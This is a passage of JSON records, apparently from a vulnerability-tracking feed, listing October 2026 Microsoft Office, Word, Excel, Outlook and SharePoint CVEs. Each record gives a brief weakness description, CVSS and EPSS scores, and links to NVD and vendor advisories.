server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108452","asOf":"2026-10-19T20:35:29.750Z"},"epss":{"probability":0.0082,"percentile":0.56987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108452","type":"primary","publishedAt":"2026-10-15T21:17:10.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108452","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108451","cveId":"CVE-2026-108451","aliases":[],"kind":"vulnerability","title":"Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.790Z","updatedAt":"2026-10-19T20:36:26.677Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108451","asOf":"2026-10-19T20:36:26.677Z"},"epss":{"probability":0.00618,"percentile":0.49304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108451","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108451","type":"primary","publishedAt":"2026-10-15T21:17:10.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108451","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108451, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108450","cveId":"CVE-2026-108450","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.673Z","updatedAt":"2026-10-19T20:37:23.067Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108450","asOf":"2026-10-19T20:37:23.067Z"},"epss":{"probability":0.00618,"percentile":0.49308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108450","type":"primary","publishedAt":"2026-10-15T21:17:10.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108450","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108449","cveId":"CVE-2026-108449","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.553Z","updatedAt":"2026-10-19T20:38:33.137Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108449","asOf":"2026-10-19T20:38:33.137Z"},"epss":{"probability":0.00618,"percentile":0.49307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108449","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108449","type":"primary","publishedAt":"2026-10-15T21:17:10.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108449","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108448","cveId":"CVE-2026-108448","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.440Z","updatedAt":"2026-10-19T20:39:14.320Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108448","asOf":"2026-10-19T20:39:14.320Z"},"epss":{"probability":0.00477,"percentile":0.40888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108448&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108448","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108448","type":"primary","publishedAt":"2026-10-15T21:17:10.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108448","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108448&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108448, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108447","cveId":"CVE-2026-108447","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.317Z","updatedAt":"2026-10-19T20:39:38.583Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108447","asOf":"2026-10-19T20:39:38.583Z"},"epss":{"probability":0.00618,"percentile":0.49305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108447","type":"primary","publishedAt":"2026-10-15T21:17:10.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108447","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108446","cveId":"CVE-2026-108446","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.200Z","updatedAt":"2026-10-19T20:41:25.367Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108446","asOf":"2026-10-19T20:41:25.367Z"},"epss":{"probability":0.00618,"percentile":0.49306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108446&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108446","type":"primary","publishedAt":"2026-10-15T21:17:10.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108446","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108446&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108446, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108445","cveId":"CVE-2026-108445","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.077Z","updatedAt":"2026-10-19T20:41:50.593Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108445","asOf":"2026-10-19T20:41:50.593Z"},"epss":{"probability":0.00618,"percentile":0.49305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108445","type":"primary","publishedAt":"2026-10-15T21:17:10.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108445","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108444","cveId":"CVE-2026-108444","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.957Z","updatedAt":"2026-10-19T20:42:15.690Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108444","asOf":"2026-10-19T20:42:15.690Z"},"epss":{"probability":0.00618,"percentile":0.49306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108444&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108444","type":"primary","publishedAt":"2026-10-15T21:17:09.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108444","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108444&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108444, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108443","cveId":"CVE-2026-108443","aliases":[],"kind":"vulnerability","title":"Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.840Z","updatedAt":"2026-10-19T20:42:38.983Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108443","asOf":"2026-10-19T20:42:38.983Z"},"epss":{"probability":0.00618,"percentile":0.49305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108443&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108443","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108443","type":"primary","publishedAt":"2026-10-15T21:17:09.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108443","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108443&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108443, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108442","cveId":"CVE-2026-108442","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.727Z","updatedAt":"2026-10-20T12:25:32.133Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108442","asOf":"2026-10-20T12:25:32.133Z"},"epss":{"probability":0.00618,"percentile":0.49306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108442","type":"primary","publishedAt":"2026-10-15T21:17:09.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108442","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108441","cveId":"CVE-2026-108441","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.607Z","updatedAt":"2026-10-20T12:26:07.000Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108441","asOf":"2026-10-20T12:26:07.000Z"},"epss":{"probability":0.00618,"percentile":0.49306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108441","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108441","type":"primary","publishedAt":"2026-10-15T21:17:09.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108441","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The 